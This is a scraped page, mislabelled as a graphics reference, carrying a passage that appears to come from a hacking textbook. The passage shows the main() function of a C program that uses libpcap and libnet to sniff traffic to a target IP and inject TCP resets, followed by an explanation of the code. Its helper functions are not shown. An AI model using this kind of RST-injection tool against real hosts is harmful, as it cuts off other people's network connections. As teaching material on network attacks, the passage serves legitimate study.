Graphics Programs Reference
In-Depth Information
char errbuf[PCAP_ERRBUF_SIZE]; // Same size as LIBNET_ERRBUF_SIZE
char *device;
u_long target_ip;
int network;
struct data_pass critical_libnet_data;
if(argc < 1) {
printf("Usage: %s <target IP>\n", argv[0]);
exit(0);
}
target_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE);
if (target_ip == -1)
fatal("Invalid target address");
device = pcap_lookupdev(errbuf);
if(device == NULL)
fatal(errbuf);
pcap_handle = pcap_open_live(device, 128, 1, 0, errbuf);
if(pcap_handle == NULL)
fatal(errbuf);
critical_libnet_data.libnet_handle = libnet_open_raw_sock(IPPROTO_RAW);
if(critical_libnet_data.libnet_handle == -1)
libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program must run
as root.\n");
libnet_init_packet(LIBNET_IP_H + LIBNET_TCP_H, &(critical_libnet_data.packet));
if (critical_libnet_data.packet == NULL)
libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n");
libnet_seed_prand();
set_packet_filter(pcap_handle, (struct in_addr *)&target_ip);
printf("Resetting all TCP connections to %s on %s\n", argv[1], device);
pcap_loop(pcap_handle, -1, caught_packet, (u_char *)&critical_libnet_data);
pcap_close(pcap_handle);
}
The majority of this program should make sense to you. In the beginning,
a data_pass structure is defined, which is used to pass data through the libpcap
callback. libnet is used to open a raw socket interface and to allocate packet
memory. The file descriptor for the raw socket and a pointer to the packet
memory will be needed in the callback function, so this critical libnet data is
stored in its own structure. The final argument to the pcap_loop() call is user
pointer, which is passed directly to the callback function. By passing a pointer
to the critical_libnet_data structure, the callback function will have access to
everything in this structure. Also, the snap length value used in pcap_open_live()
has been reduced from 4096 to 128 , since the information needed from the
packet is just in the headers.
Search WWH ::




Custom Search